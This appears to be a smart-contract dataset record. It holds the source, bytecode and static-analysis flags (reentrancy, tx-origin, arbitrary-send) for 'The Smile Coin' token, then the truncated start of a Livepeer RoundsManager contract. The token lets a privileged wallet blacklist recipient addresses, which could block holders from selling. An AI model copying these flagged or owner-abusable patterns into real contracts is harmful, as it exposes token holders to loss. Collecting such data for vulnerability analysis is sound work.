function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TheSmileCoin is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isDefaulter;
uint private constant _totalSupply = 1e15 * 10**9;
string public constant name = unicode"The Smile Coin"; ////
string public constant symbol = unicode"SMILE"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeWallet1;
address payable public _CharityWallet;
address public uniswapV2Pair;
uint public _buyFee = 9;
uint public _sellFee = 9;
uint public _feeRate = 9;
uint public _maxTradeAmount;
uint public _maxWalletHoldings;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeWallet1 = FeeAddress1;
_CharityWallet = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), owner(), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isDefaulter[to], "Transfer failed, Defaulter wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (120 seconds)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxWalletHoldings, "ERR : MaxWalletHolding Rule Violated .");
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxTradeAmount, "Exceeds maximum buy amount.");
}
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeWallet1.transfer(amount / 2);
_CharityWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxTradeAmount = 10000000000000 * 10**9;
_maxWalletHoldings = 20000000000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _FeeWallet1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeWallet1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBuyFees(uint buy) external {
require(_msgSender() == _FeeWallet1);
require(buy <= 10);
_buyFee = buy;
emit FeesUpdated(_buyFee, _sellFee);
}
function setSellFees(uint sell) external {
require(_msgSender() == _FeeWallet1);
require(sell <= 10);
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeWallet1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function isDefaulter(address ad) public view returns (bool) {
return _isDefaulter[ad];
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeWallet1);
_FeeWallet1 = payable(newAddress);
emit FeeAddress1Updated(_FeeWallet1);
}
function setDefaulter(address defaulter) external {
require(_msgSender() == _FeeWallet1);
_isDefaulter[defaulter] = true;
}
function delDefaulter(address defaulter) external {
require(_msgSender() == _FeeWallet1);
_isDefaulter[defaulter] = false;
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _CharityWallet);
_CharityWallet = payable(newAddress);
emit FeeAddress2Updated(_CharityWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106102085760003560e01c8063715018a611610118578063c888875d116100a0578063dcf7aef31161006f578063dcf7aef3146105ea578063dd62ed3e1461060a578063e8078d9414610650578063fa68809e14610665578063fd21d63c1461068557600080fd5b8063c888875d14610571578063c9567bf914610587578063d8689e131461059c578063db92dbb6146105d557600080fd5b806395927c25116100e757806395927c25146104d557806395d89b41146104f5578063a9059cbb14610526578063b2131f7d14610546578063c3c8cd801461055c57600080fd5b8063715018a6146104625780638da5cb5b14610477578063908418791461049557806394b8d8f2146104b557600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103d757806350901617146103f7578063590f897e146104175780636fc3eaec1461042d57806370a082311461044257600080fd5b8063313ce5671461036457806332d873d81461038b57806340b9a54b146103a157806345596e2e146103b757600080fd5b8063128c4b38116101d7578063128c4b38146102da57806318160ddd1461031257806323b872dd1461032f57806327f3a72a1461034f57600080fd5b806306fdde03146102145780630802d2f614610264578063095ea7b3146102865780630ee35cbf146102b657600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061024e6040518060400160405280600e81526020016d2a34329029b6b4b6329021b7b4b760911b81525081565b60405161025b9190611929565b60405180910390f35b34801561027057600080fd5b5061028461027f366004611993565b6106a5565b005b34801561029257600080fd5b506102a66102a13660046119b0565b61071a565b604051901515815260200161025b565b3480156102c257600080fd5b506102cc600e5481565b60405190815260200161025b565b3480156102e657600080fd5b506007546102fa906001600160a01b031681565b6040516001600160a01b03909116815260200161025b565b34801561031e57600080fd5b5069d3c21bcecceda10000006102cc565b34801561033b57600080fd5b506102a661034a3660046119dc565b610730565b34801561035b57600080fd5b506102cc610818565b34801561037057600080fd5b50610379600981565b60405160ff909116815260200161025b565b34801561039757600080fd5b506102cc600f5481565b3480156103ad57600080fd5b506102cc600a5481565b3480156103c357600080fd5b506102846103d2366004611a1d565b610828565b3480156103e357600080fd5b506009546102fa906001600160a01b031681565b34801561040357600080fd5b50610284610412366004611993565b6108c2565b34801561042357600080fd5b506102cc600b5481565b34801561043957600080fd5b50610284610930565b34801561044e57600080fd5b506102cc61045d366004611993565b61095d565b34801561046e57600080fd5b50610284610978565b34801561048357600080fd5b506000546001600160a01b03166102fa565b3480156104a157600080fd5b506102846104b0366004611993565b6109ec565b3480156104c157600080fd5b506010546102a69062010000900460ff1681565b3480156104e157600080fd5b506102846104f0366004611a1d565b610a2d565b34801561050157600080fd5b5061024e60405180604001604052806005815260200164534d494c4560d81b81525081565b34801561053257600080fd5b506102a66105413660046119b0565b610a99565b34801561055257600080fd5b506102cc600c5481565b34801561056857600080fd5b50610284610aa6565b34801561057d57600080fd5b506102cc600d5481565b34801561059357600080fd5b50610284610adc565b3480156105a857600080fd5b506102a66105b7366004611993565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156105e157600080fd5b506102cc610b82565b3480156105f657600080fd5b50610284610605366004611a1d565b610b9a565b34801561061657600080fd5b506102cc610625366004611a36565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561065c57600080fd5b50610284610c07565b34801561067157600080fd5b50610284610680366004611993565b610f53565b34801561069157600080fd5b506008546102fa906001600160a01b031681565b6007546001600160a01b0316336001600160a01b0316146106c557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610727338484610f97565b50600192915050565b60105460009060ff16801561075e57506001600160a01b03831660009081526004602052604090205460ff16155b801561077757506009546001600160a01b038581169116145b156107c6576001600160a01b03831632146107c65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107d18484846110bb565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610800908490611a85565b905061080d853383610f97565b506001949350505050565b60006108233061095d565b905090565b6007546001600160a01b0316336001600160a01b03161461084857600080fd5b6000811161088d5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107bd565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd89060200161070f565b6008546001600160a01b0316336001600160a01b0316146108e257600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a530149060200161070f565b6007546001600160a01b0316336001600160a01b03161461095057600080fd5b4761095a816115ab565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016107bd90611a9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610a0c57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b031614610a4d57600080fd5b600a811115610a5b57600080fd5b600b819055600a5460408051918252602082018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910161070f565b60006107273384846110bb565b6007546001600160a01b0316336001600160a01b031614610ac657600080fd5b6000610ad13061095d565b905061095a81611630565b6000546001600160a01b03163314610b065760405162461bcd60e51b81526004016107bd90611a9c565b60105460ff1615610b535760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107bd565b6010805460ff1916600117905542600f5569021e19e0c9bab2400000600d5569043c33c1937564800000600e55565b600954600090610823906001600160a01b031661095d565b6007546001600160a01b0316336001600160a01b031614610bba57600080fd5b600a811115610bc857600080fd5b600a819055600b546040805183815260208101929092527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910161070f565b6000546001600160a01b03163314610c315760405162461bcd60e51b81526004016107bd90611a9c565b60105460ff1615610c7e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107bd565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610cbc308269d3c21bcecceda1000000610f97565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611ad1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8f9190611ad1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190611ad1565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610e308161095d565b600080610e456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ead573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ed29190611aee565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f9190611b1c565b5050565b6007546001600160a01b0316336001600160a01b031614610f7357600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6001600160a01b038316610ff95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107bd565b6001600160a01b03821661105a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107bd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661111f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107bd565b6001600160a01b0382166111815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107bd565b600081116111e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107bd565b6001600160a01b03821660009081526005602052604090205460ff16156112575760405162461bcd60e51b815260206004820152602260248201527f5472616e73666572206661696c65642c2044656661756c7465722077616c6c656044820152613a1760f11b60648201526084016107bd565b600080546001600160a01b0385811691161480159061128457506000546001600160a01b03848116911614155b1561154c576009546001600160a01b0385811691161480156112b457506006546001600160a01b03848116911614155b80156112d957506001600160a01b03831660009081526004602052604090205460ff16155b156114655760105460ff166113305760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107bd565b600f544214156113705760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107bd565b42600f5460786113809190611b3e565b11156113f957600e546113928461095d565b61139c9084611b3e565b11156113f95760405162461bcd60e51b815260206004820152602660248201527f455252203a204d617857616c6c6574486f6c64696e672052756c652056696f6c60448201526530ba32b2101760d11b60648201526084016107bd565b42600f5460786114099190611b3e565b111561146157600d548211156114615760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107bd565b5060015b601054610100900460ff1615801561147f575060105460ff165b801561149957506009546001600160a01b03858116911614155b1561154c5760006114a93061095d565b905080156115355760105462010000900460ff161561152c57600c54600954606491906114de906001600160a01b031661095d565b6114e89190611b56565b6114f29190611b75565b81111561152c57600c5460095460649190611515906001600160a01b031661095d565b61151f9190611b56565b6115299190611b75565b90505b61153581611630565b47801561154557611545476115ab565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061158e57506001600160a01b03841660009081526004602052604090205460ff165b15611597575060005b6115a485858584866117a4565b5050505050565b6007546001600160a01b03166108fc6115c5600284611b75565b6040518115909202916000818181858888f193505050501580156115ed573d6000803e3d6000fd5b506008546001600160a01b03166108fc611608600284611b75565b6040518115909202916000818181858888f19350505050158015610f4f573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061167457611674611b97565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f19190611ad1565b8160018151811061170457611704611b97565b6001600160a01b03928316602091820292909201015260065461172a9130911684610f97565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611763908590600090869030904290600401611bad565b600060405180830381600087803b15801561177d57600080fd5b505af1158015611791573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117b083836117c6565b90506117be868686846117ea565b505050505050565b60008083156117e35782156117de5750600a546117e3565b50600b545b9392505050565b6000806117f784846118c7565b6001600160a01b0388166000908152600260205260409020549193509150611820908590611a85565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611850908390611b3e565b6001600160a01b038616600090815260026020526040902055611872816118fb565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b791815260200190565b60405180910390a3505050505050565b6000808060646118d78587611b56565b6118e19190611b75565b905060006118ef8287611a85565b96919550909350505050565b30600090815260026020526040902054611916908290611b3e565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156119565785810183015185820160400152820161193a565b81811115611968576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461095a57600080fd5b6000602082840312156119a557600080fd5b81356117e38161197e565b600080604083850312156119c357600080fd5b82356119ce8161197e565b946020939093013593505050565b6000806000606084860312156119f157600080fd5b83356119fc8161197e565b92506020840135611a0c8161197e565b929592945050506040919091013590565b600060208284031215611a2f57600080fd5b5035919050565b60008060408385031215611a4957600080fd5b8235611a548161197e565b91506020830135611a648161197e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611a9757611a97611a6f565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ae357600080fd5b81516117e38161197e565b600080600060608486031215611b0357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b2e57600080fd5b815180151581146117e357600080fd5b60008219821115611b5157611b51611a6f565b500190565b6000816000190483118215151615611b7057611b70611a6f565b500290565b600082611b9257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bfd5784516001600160a01b031683529383019391830191600101611bd8565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b043d931c7d8c36473052c1482a11123882a1a8f52863fbb608d30dedcc5f25a64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,641 |
0x71344db968bcda7a4013f6020d331953d1742f04 | pragma solidity 0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library MathUtils {
using SafeMath for uint256;
// Divisor used for representing percentages
uint256 public constant PERC_DIVISOR = 1000000;
/*
* @dev Returns whether an amount is a valid percentage out of PERC_DIVISOR
* @param _amount Amount that is supposed to be a percentage
*/
function validPerc(uint256 _amount) internal pure returns (bool) {
return _amount <= PERC_DIVISOR;
}
/*
* @dev Compute percentage of a value with the percentage represented by a fraction
* @param _amount Amount to take the percentage of
* @param _fracNum Numerator of fraction representing the percentage
* @param _fracDenom Denominator of fraction representing the percentage
*/
function percOf(uint256 _amount, uint256 _fracNum, uint256 _fracDenom) internal pure returns (uint256) {
return _amount.mul(percPoints(_fracNum, _fracDenom)).div(PERC_DIVISOR);
}
/*
* @dev Compute percentage of a value with the percentage represented by a fraction over PERC_DIVISOR
* @param _amount Amount to take the percentage of
* @param _fracNum Numerator of fraction representing the percentage with PERC_DIVISOR as the denominator
*/
function percOf(uint256 _amount, uint256 _fracNum) internal pure returns (uint256) {
return _amount.mul(_fracNum).div(PERC_DIVISOR);
}
/*
* @dev Compute percentage representation of a fraction
* @param _fracNum Numerator of fraction represeting the percentage
* @param _fracDenom Denominator of fraction represeting the percentage
*/
function percPoints(uint256 _fracNum, uint256 _fracDenom) internal pure returns (uint256) {
return _fracNum.mul(PERC_DIVISOR).div(_fracDenom);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract IController is Pausable {
event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash);
function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external;
function updateController(bytes32 _id, address _controller) external;
function getContract(bytes32 _id) public view returns (address);
}
contract IManager {
event SetController(address controller);
event ParameterUpdate(string param);
function setController(address _controller) external;
}
contract Manager is IManager {
// Controller that contract is registered with
IController public controller;
// Check if sender is controller
modifier onlyController() {
require(msg.sender == address(controller));
_;
}
// Check if sender is controller owner
modifier onlyControllerOwner() {
require(msg.sender == controller.owner());
_;
}
// Check if controller is not paused
modifier whenSystemNotPaused() {
require(!controller.paused());
_;
}
// Check if controller is paused
modifier whenSystemPaused() {
require(controller.paused());
_;
}
function Manager(address _controller) public {
controller = IController(_controller);
}
/*
* @dev Set controller. Only callable by current controller
* @param _controller Controller contract address
*/
function setController(address _controller) external onlyController {
controller = IController(_controller);
SetController(_controller);
}
}
/**
* @title ManagerProxyTarget
* @dev The base contract that target contracts used by a proxy contract should inherit from
* Note: Both the target contract and the proxy contract (implemented as ManagerProxy) MUST inherit from ManagerProxyTarget in order to guarantee
* that both contracts have the same storage layout. Differing storage layouts in a proxy contract and target contract can
* potentially break the delegate proxy upgradeability mechanism
*/
contract ManagerProxyTarget is Manager {
// Used to look up target contract address in controller's registry
bytes32 public targetContractId;
}
/**
* @title Minter interface
*/
contract IMinter {
// Events
event SetCurrentRewardTokens(uint256 currentMintableTokens, uint256 currentInflation);
// External functions
function createReward(uint256 _fracNum, uint256 _fracDenom) external returns (uint256);
function trustedTransferTokens(address _to, uint256 _amount) external;
function trustedBurnTokens(uint256 _amount) external;
function trustedWithdrawETH(address _to, uint256 _amount) external;
function depositETH() external payable returns (bool);
function setCurrentRewardTokens() external;
// Public functions
function getController() public view returns (IController);
}
/*
* @title Interface for BondingManager
*/
contract IBondingManager {
event TranscoderUpdate(address indexed transcoder, uint256 pendingRewardCut, uint256 pendingFeeShare, uint256 pendingPricePerSegment, bool registered);
event TranscoderEvicted(address indexed transcoder);
event TranscoderResigned(address indexed transcoder);
event TranscoderSlashed(address indexed transcoder, address finder, uint256 penalty, uint256 finderReward);
event Reward(address indexed transcoder, uint256 amount);
event Bond(address indexed delegate, address indexed delegator);
event Unbond(address indexed delegate, address indexed delegator);
event WithdrawStake(address indexed delegator);
event WithdrawFees(address indexed delegator);
// External functions
function setActiveTranscoders() external;
function updateTranscoderWithFees(address _transcoder, uint256 _fees, uint256 _round) external;
function slashTranscoder(address _transcoder, address _finder, uint256 _slashAmount, uint256 _finderFee) external;
function electActiveTranscoder(uint256 _maxPricePerSegment, bytes32 _blockHash, uint256 _round) external view returns (address);
// Public functions
function transcoderTotalStake(address _transcoder) public view returns (uint256);
function activeTranscoderTotalStake(address _transcoder, uint256 _round) public view returns (uint256);
function isRegisteredTranscoder(address _transcoder) public view returns (bool);
function getTotalBonded() public view returns (uint256);
}
/**
* @title RoundsManager interface
*/
contract IRoundsManager {
// Events
event NewRound(uint256 round);
// External functions
function initializeRound() external;
// Public functions
function blockNum() public view returns (uint256);
function blockHash(uint256 _block) public view returns (bytes32);
function currentRound() public view returns (uint256);
function currentRoundStartBlock() public view returns (uint256);
function currentRoundInitialized() public view returns (bool);
function currentRoundLocked() public view returns (bool);
}
/**
* @title RoundsManager
* @dev Manages round progression and other blockchain time related operations of the Livepeer protocol
*/
contract RoundsManager is ManagerProxyTarget, IRoundsManager {
using SafeMath for uint256;
// Round length in blocks
uint256 public roundLength;
// Lock period of a round as a % of round length
// Transcoders cannot join the transcoder pool or change their rates during the lock period at the end of a round
// The lock period provides delegators time to review transcoder information without changes
// # of blocks in the lock period = (roundLength * roundLockAmount) / PERC_DIVISOR
uint256 public roundLockAmount;
// Last initialized round. After first round, this is the last round during which initializeRound() was called
uint256 public lastInitializedRound;
// Round in which roundLength was last updated
uint256 public lastRoundLengthUpdateRound;
// Start block of the round in which roundLength was last updated
uint256 public lastRoundLengthUpdateStartBlock;
/**
* @dev RoundsManager constructor. Only invokes constructor of base Manager contract with provided Controller address
* @param _controller Address of Controller that this contract will be registered with
*/
function RoundsManager(address _controller) public Manager(_controller) {}
/**
* @dev Set round length. Only callable by the controller owner
* @param _roundLength Round length in blocks
*/
function setRoundLength(uint256 _roundLength) external onlyControllerOwner {
// Round length cannot be 0
require(_roundLength > 0);
if (roundLength == 0) {
